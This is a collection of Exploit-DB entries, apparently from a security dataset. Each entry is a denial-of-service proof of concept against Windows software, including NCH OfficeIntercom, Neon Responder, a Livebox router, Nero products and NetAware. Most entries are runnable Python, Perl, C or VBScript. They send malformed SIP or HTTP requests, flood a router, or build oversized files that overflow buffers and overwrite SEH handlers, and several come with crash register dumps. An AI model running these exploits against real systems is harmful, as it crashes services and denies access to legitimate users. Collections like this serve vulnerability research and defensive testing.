deardaniel/secdata-raw huggingface dataset:
Exploit-DB #15613
Description: NCH Officeintercom 5.20 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2010-11-25
Author: xsploited security

Exploit:
#!/usr/bin/python

# Exploit Title: NCH Officeintercom <= v5.20 Remote Denial of Service Vulnerability
# Date: 11/24/2010
# Author: xsploited security
# URL: http://www.x-sploited.com/
# Contact: xsploitedsecurity [at] x-sploited.com
# Software Link: http://www.nch.com.au/oi/oisetup.exe
# Version: <= v5.20
# Tested on: Windows XP SP3
# CVE : N/A

### Software Description: ###
# Officeintercom lets you use your PC, Pocket PC and Smartphone to speak to others over the internet or a local area
# network with simple "push-to-talk" technology. It works as a virtual IP intercom and feels a little like using a CB
# radio. 
# Talk to anyone else who has installed OfficeIntercom anywhere in the world from your PC or Pocket PC device. OfficeIntercom
# is designed to be fast and easy to use and, in an office environment, no cabling is be required to run OfficeIntercom
# because it uses the existing computer network. 

### Exploit information: ###
# NCH Office Intercom is prone to a remote denial of service attack when parsing a maliscous SIP invite request.
# If the Content-Length field has a value of -1 (or a large integer such as 3645363) the server will crash due to a NULL pointer
# reference, causing an access violation.

### Shouts: ###
# kaotix, MaX, corelanc0d3r/corelan team, exploit-db, packetstormsecurity, all other infosec researchers and websites
#
# "When you know that you're capable of dealing with whatever comes, you have the only security the world has to offer."
#			-Harry Browne
###

import sys,socket

if len(sys.argv) < 2:
    print "[!] Error, Usage: " + sys.argv[0]+ " <Target IP> [Port]"
    sys.exit(1)

about = "================================================\n"
about += "Title: Officeintercom <= v5.20 Remote DoS POC\n"
about +=  "Author: xsploited security\nURL: http://www.x-sploited.com/\n"
about +=  "Contact: xsploitedsecurity [at] gmail.com\n"
about +=  "Shouts: kAoTiX, MaX, corelanc0d3r/corelan team,\nexploit-db, packetstormsecurity, and all other sites\n"
about +=  "================================================\n"
print about

host = sys.argv[1]

if len(sys.argv) > 2:
    port = int(sys.argv[2])
else:
    port = 5060 #Default

payload = ("INVITE sip:105@" + host + " SIP/2.0\r\n"
"To: <sip:" + host + ":5060>\r\n"
"Via: SIP/2.0/UDP localhost:10000\r\n"
"From: \x22xsploitedsec\x22<sip:" + host + ":10000>\r\n"
"Call-ID: f81d4fae7dec11d0a76500a0c91e6bf6@localhost\r\n"
"CSeq: 1 INVITE\r\n"
"Max-Forwards: 70\r\n"
"Content-Type: application/sdp\r\n"
"Content-Length: -1\r\n\r\n");

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print "[*] Sending evil SIP request to " + host + ":" + str(port)
s.sendto(payload,(host,port))
print "[*] Data sent successfully"
print "[*] Exiting..."
s.close()
Exploit-DB #17903
Description: NCSS 07.1.21 - Array Overflow with Write2
Type: dos
Platform: windows
Date: 2011-09-29
Author: Luigi Auriemma

Exploit:
#######################################################################

                             Luigi Auriemma

Application:  NCSS (aka NCSS 2007)
              http://www.ncss.com/ncss.html
Versions:     <= 07.1.21
Platforms:    Windows
Bug:          array overflow with write2
Exploitation: file
Date:         28 Sep 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's homepage:
"NCSS has specialized in providing statistical analysis software to
researchers, businesses, and academic institutions."


#######################################################################

======
2) Bug
======


Through the S0 files it's possible to exploit various array overflow
vulnerabilities for writing the word 0xfffd in an arbitrary zone of the
memory.
The following is one of these bugs, from VCF132.dll:

  1D044E91  |. 0FB750 06       ||MOVZX EDX,WORD PTR DS:[EAX+6]  ; EDX controlled
  1D044E95  |. 8B0491          ||MOV EAX,DWORD PTR DS:[ECX+EDX*4]
  1D044E98  |. 8BCB            ||MOV ECX,EBX
  1D044E9A  |. 66:C740 04 FDFF ||MOV WORD PTR DS:[EAX+4],0FFFD  ; write2

For the other array overflows it's enough to search the 0xfffd constant
and all the operations like the above one.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/ncss_1.s0
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17903.s0

the 16bit value for EDX is located at offset 0x8bd.


#######################################################################

======
4) Fix
======


No fix.


#######################################################################
Exploit-DB #7882
Description: NCTVideoStudio ActiveX DLLs 1.6 - Remote Heap Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-01-26
Author: Stack

Exploit:
<html>
----------------------------------------------------------- <br/>
Author : Mountassif Mouad (Stack)              <br/>
----------------------------------------------------------- <br/>
NCTVideoStudio ActiveX DLLs Version 1.6 Reamote Heap Overflow Poc <br/>
----------------------------------------------------------- <br/>
<!--
Report for Clsid: {77829F14-D911-40FF-A2F0-D11DB8D6D0BC}
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe:  Safe for untrusted: caller,data       
Registers: In olly                
--------------------------------------------------     
EAX 00000001
ECX 7FFDF000
EDX 00150608
EBX 41414141
ESP 0013EFAC
EBP 0013F00C
ESI 00150000
EDI 41414139
EIP 7C97DF51 ntdll.7C97DF51
Block Disassembly:
--------------------------------------------------
7C97DF40 PUSH 0
7C97DF42 PUSH ESI
7C97DF43 CALL 7C97CDC9
7C97DF48 MOV EBX,[EBP+10]
7C97DF4B LEA EDI,[EBX-8]
7C97DF4E MOV [EBP-2C],EDI
7C97DF51 MOVZX EAX,WORD PTR [EDI]   <--- CRASH
7C97DF54 SHL EAX,3
7C97DF57 MOV [EBP-30],EAX
7C97DF5A PUSH 7C97E11C
7C97DF5F PUSH EDI
7C97DF60 PUSH ESI
7C97DF61 CALL 7C97CC6D
7C97DF66 TEST AL,AL
7C97DF68 JE 7C97E0BF

ArgDump:
--------------------------------------------------
EBP+8 00150000 -> 000000C8
EBP+12 50000061
EBP+16 41414141
EBP+20 00150000 -> 000000C8
EBP+24 41414141
EBP+28 40000060

Stack Dump:
--------------------------------------------------
13EFD4 00 00 15 00 41 41 41 41 60 00 00 40 00 00 F8 00  [........`.......]
13EFE4 F8 EF 13 00 5C F0 13 00 18 EE 01 01 A8 EF 13 00  [....\...........]
13EFF4 00 00 03 00 E0 F0 13 00 18 EE 91 7C F8 E0 97 7C  [................]
13F004 FF FF FF FF 39 41 41 41 00 00 15 00 00 00 F8 00  [................]
13F014 61 00 00 50 BE 6A 01 00 D4 EF 13 00 D8 21 F8 00  [a..P.j..........]
Block Disassembly:
--------------------------------------------------
Disasm: 7C97DF51 MOVZX EAX,WORD PTR [EDI]          
-->
<object classid='clsid:77829F14-D911-40FF-A2F0-D11DB8D6D0BC' id='target' />
<script language='vbscript'>

'for debugging/custom prolog
targetFile = "C:\Program Files\NCT\VideoStudio\Redist\NCTAudioFile2.dll"
prototype  = "Sub CreateFile ( ByVal fileName As String ,  ByVal FormatType As FormatTypeConstants )"
memberName = "CreateFile"
progid     = "NCTAUDIOFILE2Lib.AudioFile2"
argCount   = 2
arg1=String(11284, "A")
arg2=1
target.CreateFile arg1 ,arg2
</script>

# milw0rm.com [2009-01-26]
Exploit-DB #46287
Description: Necrosoft DIG 0.4 - Buffer Overflow (PoC) (SEH Overwrite)
Type: dos
Platform: windows
Date: 2019-01-30
Author: Rafael Pedrero

Exploit:
# Exploit Title: Necrosoft DIG v0.4 - Denial of Service (PoC) SEH overwritten Crash PoC
# Discovery by: Rafael Pedrero
# Discovery Date: 2005-01-10
# Vendor Homepage: http://www.nscan.org/?index=dns
# Software Link : http://www.nscan.org/?index=dns
# Tested Version: 0.4
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run Necrosoft DIG v0.4 (dig.exe)
# 2.- copy content DIG_Crash.txt to clipboard (result from this python script)
# 3.- Paste the content into the field: 'Target'
# 4.- Click 'TCP lookup' button and you will see a crash.


'''
SEH chain of thread 000003CC
Address    SE handler
00D9FF08   43434343
42424242   *** CORRUPT ENTRY ***


EAX 0000000E
ECX 000004D2
EDX 000004E0
EBX 00000041
ESP 00D9FACC
EBP 0012FB60
ESI 00D9FB20
EDI 009284C5 ASCII
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EIP 004036B2 DIG.004036B2
C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 1  FS 003B 32bit 7FFDB000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010286 (NO,NB,NE,A,S,PE,L,LE)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1


'''

#!/usr/bin/env python

junk = "\x41" * 985
crash = junk + "BBBB" + "CCCC" + "\x41" * (2000 - 985 - 4 - 4)
print "SEH overwritten Crash, full payload length =",len(crash)
f = open ("DIG_Crash.txt", "w")
f.write(crash)
f.close()
Exploit-DB #11132
Description: Nemesis Player (NSP) - Local Denial of Service
Type: dos
Platform: windows
Date: 2010-01-13
Author: Rehan Ahmed

Exploit:
#!/usr/bin/perl
#Exploit Title: Nemesis Player (NSP) Local Denial of Service (DoS) Vulnerability
#Author:Vulnerability Discovered By Rehan Ahmed (rehan@rewterz.com)
#Vendor:http://www.nsplayer.org
#Version:1.1 Beta/2.2
#Tested On: WinXP SP2

my $boom="\x41" x 5000;
my $file="dos.nsp"; 
open($FILE,">$file");
print $FILE $boom;
close($FILE);
print "File Successfully Created\n";
Exploit-DB #1688
Description: Neon Responder 5.4 - Clock Synchronization Denial of Service
Type: dos
Platform: windows
Date: 2006-04-17
Author: Stefan Lochbihler

Exploit:
/* Stefan Lochbihler*/

#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>

#pragma comment(lib,"ws2_32")

#define PORT 4347
char CLOCK_MSG [] = "\x00\x0e\x5a\x00\x4c\xe9\x24\xb1\x17\x88\x40\x84";   //Password = ""

void usage (char*);
void endpgr (char *,SOCKET, char*);
unsigned long gethost (char *);


int main(int argc, char *argv[])
{

   WSADATA wsa;
   SOCKET client;
   sockaddr_in peer;
   WORD wsVersion;

   char sendbuffer[16]="";
   char recvbuffer[16]="";
   unsigned long host=0;
   int err=0;

   if(argc<2)
     usage(argv[0]);

   printf("\n~~~~~~ Neon Responder DoS - (c) by Stefan Lochbihler ~~~~~~\n\n");


   if(WSAStartup(wsVersion=MAKEWORD(2,2),&wsa)!=0)
   {
       printf("WSAStartup() fail\n");
       exit(0);
   }

   printf("%s:[+] Try to create socket\n",argv[0]);
   client=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
   if(client==INVALID_SOCKET)
      endpgr(argv[0],client,"[-] socket() fail");

   printf("%s:[+] Lookup host\n",argv[0]);
   if(!(host=gethost(argv[1])))
      endpgr(argv[0],client,"[-] host not found !");

   peer.sin_family = AF_INET;
   peer.sin_port = htons(PORT);
   peer.sin_addr.s_addr = host;

   printf("%s:[+] Connect to %s\n",argv[0],argv[1]);
   err=connect(client,(SOCKADDR*)&peer,sizeof(struct sockaddr_in));
   if(err)
     endpgr(argv[0],client,"[-] connect() fail");

   memcpy(sendbuffer,CLOCK_MSG,sizeof(CLOCK_MSG));

   printf("%s:[+] Try to send packet\n",argv[0]);
   err=send(client,sendbuffer,sizeof(sendbuffer),0);
   err=recv(client,recvbuffer,sizeof(recvbuffer)-1,0);

   endpgr(argv[0],client,"[+] End successfully");

   return 0;

}

void usage(char *pgrname)
{
printf("\n~~~~~~ Neon Responder DoS - (c) by Stefan Lochbihler ~~~~~~\n\n");
printf("%s: <Targethost>\n",pgrname);
exit(0);
}

void endpgr (char *pgrname, SOCKET client,char *msg)
{
   printf("%s:%s\n",pgrname,msg);
   WSACleanup();
   closesocket(client);
   exit(0);
}

unsigned long gethost(char *targethost)
{
unsigned long host=0;
hostent *phost=NULL;


host=inet_addr(targethost);
if(host==INADDR_NONE)
{
   if((phost=gethostbyname(targethost))==NULL)
      return 0;
   host=*(unsigned long*)phost->h_addr;
}

return host;
}

// milw0rm.com [2006-04-17]
Exploit-DB #7387
Description: Neostrada Livebox Router - Remote Network Down (PoC)
Type: dos
Platform: windows
Date: 2008-12-08
Author: 0in

Exploit:
# Neostrada Livebox Router Remote Network Down PoC Exploit
# Author: 0in aka zer0in from Dark-Coders Group!
# Contact: 0in.email(at)gmail.com / 0in(at)dark-coders.pl
# Site: http://dark-coders.pl
# Greetings to: All Dark-Coders Members: die,doctor,m4r1usz,sun8hclf ;*
# 		Friends: cOndemned,joker,chomzee,TBH
#		IRC: #dark-coders & #pvt
# Description:
# 	When we send a "specially crafted http packet" x ~25
#	Livebox HTTP service && all network goes down 
# Simple PoC source:
#!/usr/bin/python

from socket import *
import os
import sys
target = "192.168.1.1"
def to_vuln(ip):
	suck = socket(AF_INET,SOCK_STREAM,0)
	try:
		conn = suck.connect((ip,80))
	except Exception:
		check(ip)
	return suck
def check(ip):
	print "[+] No HTTP response..."
	print "[+] Server and network should go down!"
	print "[+] Check it with ping..."
	os.system("ping "+ip)
i=0
print "[!] Neostrada Livebox Remote Network Down Exploit!!"
print "[!] 		[HTTP DoS vuln]		  "
print "[!] 	by 0in [0in.email(at)gmail.com]		  "
print "\n[+] Dosing..."
for i in range(256):
	pack3t = "GET /- HTTP/1.1\r\n\r\n" 
	POC = to_vuln(target)
	POC.send(pack3t)
	try:
		POC.recv(512)
	except Exception:
		check(target)

# milw0rm.com [2008-12-08]
Exploit-DB #11533
Description: Nero Burning ROM 9.4.13.2 - ISO Compilation Local Buffer Invasion (PoC)
Type: dos
Platform: windows
Date: 2010-02-22
Author: LiquidWorm

Exploit:
#!/usr/bin/perl
#
#
# Title: Nero Burning ROM 9 (iso compilation) Local Buffer Invasion Proof Of Concept
#
#
# Product web page: http://www.nero.com
# Version tested: 9.4.13.2
# OS platform used: Microsoft Windows XP Professional SP3 (English)
#
# Registers pick'a'chu:
# ------------------------------------------------------------------------
#
# (adc.b30): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=41414141 ebx=00000000 ecx=0012ecf0 edx=00000000 esi=04c8acc8 edi=00e29890
# eip=0057f53c esp=0012ec38 ebp=0012ed28 iopl=0         nv up ei pl nz na pe nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
# Nero+0x17f53c:
# 0057f53c 394204          cmp     dword ptr [edx+4],eax ds:0023:00000004=????????
#
# ------------------------------------------------------------------------
#
# Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic
#
# liquidworm gmail com
#
# Zero Science Lab - http://www.zeroscience.org
#
# 30.09.2009
#
# Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4927.php
#


           
              ##          ##
             #  #        #  #
            #    #      #    #
           #O     #    #     O#
          #[*]     #  #     [*]#
                   ####
              $id="\xFF\xFE".
 	   "\xFF\x0E\x4E\x00".
          "\x65\x00\x72\x00\x6F".
        "\x00\x49\x00\x53\x00\x4F".
      #####===###_O----O_###===##### 
      "\x00\x30\x00\x2E\x00\x30\x00".
      "\x33\x00\x2E\x00\x30\x00\x31".
        "\x00\x0B\x00\x00\x00\x01".
         "\x00\x00\x00\x00\x00".
                "\x10\x4E".
                  "\x45".
                  "\x52".
                  "\x4F".
        "\x20\x42\x55\x52\x4E\x49".
     "\x4E".    "\x47\x20".   "\x52".
   "\x4F".    "\x4D\x00\x00".    "\x00".
   "\x9C".   "\x20\xBC\x4A\x9C". "\x20".
    "\xBC".    "\x4A\xFF\xFF".  "\xFF".
    "\xFF".    "\xFF\xFF\xFF".  "\xFF".
   "\x00".       "\x00\x00".     "\x00".
   "\x9F".    "\x20".   "\xBC".  "\x4A".
   "\x01".  "\x00".       "\x00"."\x00".
    "\x00". "\x00".       "\x00"."\x00".
    "\x01"."\x00\x00". "\x00\x01"."\x00".
    "\x00".                       "\x00".
    "\x01".                       "\x00".
     "\x00".                     "\x00".
     "\x00".                     "\x00".
       "\x00".                 "\x00";
###############################################
###############################################



							$fl="Neeero.nri";$op="\x41" x 500000;
							open nri, ">./$fl" || die "\nCan't open $fl: $!";
							print nri $id.$op;
							print "\n ~ Invasion started...\n";
							sleep 1;close nri;
							print "\n ~ File $fl invaded host.\n";
Exploit-DB #10902
Description: Nero Express 7.9.6.4 - Local Heap (PoC)
Type: dos
Platform: windows
Date: 2010-01-01
Author: D3V!L FUCKER

Exploit:
#!/user/bin/perl
# Exploit Title: [Nero Express7 Local Heap Poc]
# Date: [2010/01/01]
# Author: [D3V!L FUCKER]
# Version: [Nero Express7 Ver.7.9.6.4]
# Tested on: [windows vista sp0]
#After Setup Open Nero StartSmart Essentials => Favorites => Open Projects => explit.nir
# Code :
$headr=
"\xFF\xFE\xFF\x0E\x4E\x00\x65\x00\x72\x00\x6F\x00\x49\x00\x53\x00".
"\x4F\x00\x30\x00\x2E\x00\x30\x00\x33\x00\x2E\x00\x30\x00\x31\x00";

$boom="A" x 1000;

open(myfile,'>>exploit.nri') || die "Cannot Creat file\n\n";
print myfile $headr;
print myfile $boom;
print "Done..!~#\n";
Exploit-DB #5063
Description: NERO Media Player 1.4.0.35b - '.m3u' File Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-02-05
Author: securfrog

Exploit:
# NERO Media Player <= 1.4.0.35b Remote Buffer Overflow( .M3U)
#
#
# This exception may be expected and handled.
# eax=03e90f40 ebx=41414141 ecx=009d01c8 edx=009d015c esi=03e90f38 edi=41414141
# eip=7c92b3fb esp=0010bff8 ebp=0010c214 iopl=0 nv up ei pl nz ac pe nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210212
# ntdll!wcsncat+0x387:
# 7c92b3fb 8b0b mov ecx,[ebx] ds:0023:41414141=????????
#EXCEPTION_RECORD: ffffffff -- (.exr ffffffffffffffff)
#ExceptionAddress: 7c92b3fb (ntdll!wcsncat+0x00000387)
# ExceptionCode: c0000005 (Access violation)
# ExceptionFlags: 00000000
#NumberParameters: 2
# Parameter[0]: 00000000
# Parameter[1]: 41414141
#Attempt to read from address 41414141

my $file="bob_marley_I_Shot_The_Sheriff.m3u";

open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE "http://"."A" x 700;
close($FILE);
print "$file has been created \n";
print "Upload it, and open it with Nero Media Player\n";
print "Credits:Securfrog";

#Btw , after the crash /*if not exploited ...*/ you wont be able to open Nero media player , it will constantly crash .

# milw0rm.com [2008-02-05]
Exploit-DB #7207
Description: Nero ShowTime 5.0.15.0 - '.m3u' Playlist File Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-11-24
Author: LiquidWorm

Exploit:
#!/usr/bin/perl -w
#
# Nero ShowTime v5.0.15.0 m3u Playlist File Remote Buffer Overflow PoC
#
# Summary: Nero ShowTime provides you with a high-performance software DVD player
# that takes you to a new dimension in DVD's. Its cinema-like sound and excellent image
# quality for all digital pictures make an adventure of every film! What is more, Nero ShowTime
# supports all DVD-Video formats and can play them from a disc and from the hard drive.
#
# Product web page: http://www.nero.com
#
# Description: Nero ShowTime is prone to a buffer-overflow vulnerability because it fails
# to perform adequate boundary checks on user-supplied input. Successfully exploiting
# these issues may allow remote attackers to execute arbitrary code in the context of the
# application. Failed exploit attempts will cause denial-of-service conditions. Nero ShowTime
# 5.0.15.0 is vulnerable, prior versions may also be affected.
#
# Tested on Microsoft Windows XP Professional SP2 (English)
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# liquidworm [ t00t ] gmail [ d0t ] com
#
# 24.11.2008
#

$filename = "Jackie_Chan.m3u";

$mana = "A" x 432809;

print "\n\n[*] Creating evul playlist: $filename ...\r\n";
sleep(3);

open(m3u, ">./$filename") || die "\n\aCannot open $filename: $!";

print m3u "$mana";

close (m3u);

print "\n[*] Playlist file successfully created!\r\n";

# milw0rm.com [2008-11-24]
Exploit-DB #46908
Description: NetAware 1.20 - 'Add Block' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-23
Author: Alejandra Sánchez

Exploit:
# -*- coding: utf-8 -*-
# Exploit Title: NetAware 1.20 - 'Add Block' Denial of Service (PoC)
# Date: 22/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://www.infiltration-systems.com
# Software: http://www.infiltration-systems.com/Files/netaware.zip
# Version: 1.20
# Tested on: Windows 7

# Proof of Concept:
# 1.- Run the python script 'NetAware.py', it will create a new file 'NetAware.txt'
# 2.- Copy the text from the generated NetAware.txt file to clipboard
# 3.- Open NetAware 
# 4.- Go to 'Settings' > 'User Blocking'
# 5.- Click 'Add Block', paste clipboard in the field 'Add a website or keyword to be filtered...' and click 'OK'
# 6.- Select the block created and click 'Remove', you will see a crash

buffer = "\x41" * 512

f = open ("NetAware.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #46909
Description: NetAware 1.20 - 'Share Name' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-23
Author: Alejandra Sánchez

Exploit:
# -*- coding: utf-8 -*-
# Exploit Title: NetAware 1.20 - 'Share Name' Denial of Service (PoC)
# Date: 22/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://www.infiltration-systems.com
# Software: http://www.infiltration-systems.com/Files/netaware.zip
# Version: 1.20
# Tested on: Windows 7

# Proof of Concept:
# 1.- Run the python script 'NetAware_share.py', it will create a new file 'NetAware.txt'
# 2.- Copy the text from the generated NetAware.txt file to clipboard
# 3.- Open NetAware 
# 4.- Click 'Manage Shares' > 'Add a New Share...'
# 5.- Paste clipboard in the field 'Share Name', in the field 'Share Path' write anything, e.g. test and the field 'User Limit' select Maximum allowed
# 6.- Click 'Ok', you will see a crash

buffer = "\x41" * 1000

f = open ("NetAware.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #20233
Description: NetcPlus BrowseGate 2.80 - Denial of Service
Type: dos
Platform: windows
Date: 2000-09-21
Author: Delphis Consulting

Exploit:
source: https://www.securityfocus.com/bid/1702/info

NetcPlus BrowseGate 2.80 will crash as the result of an invalid read error if a number of character strings consisting of 8 KB are inserted into GET request arguments through port 80.

For example:

GET / HTTP/1.0<cr>
Authorization: Basic(8 KB string of characters)<cr>
From: email@address.com<cr>
If-Modified-Since: Sat, 29 Oct 1994 19:43:31 GMT<cr>
Referer: http://referrer/(8 KB string of characters)<cr>
UserAgent: Browser 1.1<cr>
<cr><cr>

will cause brwgate.exe to fail and a restart of the service is required in order to gain normal functionality.
Exploit-DB #33849
Description: netKar PRO 1.1 - '.nkuser' File Creation Null Pointer Denial of Service
Type: dos
Platform: windows
Date: 2014-06-13
Author: A reliable source

Exploit:
source: https://www.securityfocus.com/bid/39558/info

netKar PRO is prone to a remote denial-of-service vulnerability because it fails to adequately sanitize user-supplied input.

Exploiting this issue will cause the server to copy data to a NULL pointer, which will crash the server, denying access to legitimate users.

netKar PRO 1.1 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33849.zip